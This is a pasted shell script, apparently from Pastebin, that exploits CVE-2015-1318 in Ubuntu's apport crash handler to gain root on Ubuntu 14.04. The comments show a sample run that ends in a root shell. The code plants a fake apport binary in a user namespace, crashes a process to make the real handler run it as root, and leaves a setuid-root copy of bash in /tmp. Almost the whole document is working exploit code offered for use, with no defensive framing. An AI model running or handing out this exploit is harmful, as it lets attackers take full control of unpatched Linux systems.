unknowns-mm

Ubuntu 14.04.2 LTS.sh

Sep 30th, 2016
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.38 KB | None | 0 0
  1. #!/bin/sh
  2. #
  3. # CVE-2015-1318
  4. #
  5. # Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
  6. #
  7. # Example:
  8. #
  9. # % uname -a
  10. # Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
  11. #
  12. # % lsb_release -a
  13. # No LSB modules are available.
  14. # Distributor ID: Ubuntu
  15. # Description:    Ubuntu 14.04.2 LTS
  16. # Release:    14.04
  17. # Codename:   trusty
  18. #
  19. # % dpkg -l | grep '^ii  apport ' | awk -F ' '  '{ print $2 " " $3 }'
  20. # apport 2.14.1-0ubuntu3.8
  21. #
  22. # % id
  23. # uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
  24. #
  25. # % ./apport.sh
  26. # pwned-4.3# id
  27. # uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
  28. # pwned-4.3# exit
  29.  
  30. TEMPDIR=$(mktemp -d)
  31.  
  32. cd ${TEMPDIR}
  33.  
  34. cp /bin/busybox .
  35.  
  36. mkdir -p dev mnt usr/share/apport
  37.  
  38. (
  39. cat << EOF
  40. #!/busybox sh
  41. (
  42. cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
  43. chmod 5755 /mnt/1/root/tmp/pwned
  44. )
  45. EOF
  46.  
  47. ) > usr/share/apport/apport
  48.  
  49. chmod +x usr/share/apport/apport
  50.  
  51. (
  52. cat << EOF
  53. mount -o bind . .
  54. cd .
  55. mount --rbind /proc mnt
  56. touch dev/null
  57. pivot_root . .
  58. ./busybox sleep 500 &
  59. SLEEP=\$!
  60. ./busybox sleep 1
  61. ./busybox kill -11 \$SLEEP
  62. ./busybox sleep 5
  63. EOF
  64. ) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
  65.     lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null
  66.  
  67. /tmp/pwned -p
  68.  
  69. rm -Rf ${TEMPDIR}
Add Comment
Please, Sign In to add comment